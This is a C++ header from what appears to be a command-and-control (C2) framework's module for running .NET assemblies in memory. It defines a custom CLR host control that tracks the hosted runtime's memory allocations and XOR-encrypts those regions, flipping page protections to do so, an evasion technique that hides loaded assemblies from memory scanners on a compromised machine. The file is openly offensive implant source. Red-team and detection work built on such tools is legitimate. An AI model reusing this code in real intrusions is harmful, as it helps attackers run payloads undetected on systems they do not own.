maxDcb-C2Core/modules/DotnetExec/HostControl.hpp

#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>

#include "MemoryManager.hpp"
#include "AssemblyManager.hpp"


static const  GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };


inline void XOREncrypt2(char* address, int size, const std::string& xorKey) 
{
    DWORD start = 0;
    while (start < size) 
    {
        *(address + start) ^= xorKey[start % xorKey.size()];
        start++;
    }
}


class MyHostControl : public IHostControl
{
public:
    MyHostControl(void);
    ~MyHostControl(void);

    virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void  **ppv);
    virtual ULONG   STDMETHODCALLTYPE AddRef(void);
    virtual ULONG   STDMETHODCALLTYPE Release(void);

    virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
    virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);

    int setTargetAssembly(TargetAssembly * targetAssembly)
    {
        m_assemblyManager->setTargetAssembly(targetAssembly);
        return 0;
    }

    int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
    {
        m_assemblyManager->updateTargetAssembly(identityManager, data);
        return 0;
    }

    LPWSTR getAssemblyInfo()
    {
        return m_assemblyManager->getAssemblyInfo();
    };


    const std::vector<MemAllocEntry*>& getVirtualAllocList()
    {
        return m_memoryManager->getVirtualAllocList();
    }

    const std::vector<MemAllocEntry*>& getMallocList()
    {
        return m_memoryManager->getMallocList();
    }

    int xorMemory(const std::string& xorKey)
    {
        std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();

        for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
        {
            MemAllocEntry* entry = *it;
            if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
            {
                XOREncrypt2((char*)entry->Address, entry->size, xorKey);
            }
        }

        MEMORY_BASIC_INFORMATION memInfo;
        DWORD oldProtect;
        std::vector<MemAllocEntry*> mallocList = getMallocList();
        for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
        {
            MemAllocEntry* entry = *it;

            if(entry->Address)
            {
                ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));

                if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) 
                {
                    if (memInfo.Protect != PAGE_READWRITE) 
                    {
                        ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
                        XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
                        ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
                    }
                    else 
                    {
                        XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
                    }
                }
            }
        }

        return 0;
    }
    
protected:
    volatile LONG count;

private:
    MyAssemblyManager* m_assemblyManager;
    MyMemoryManager* m_memoryManager;

};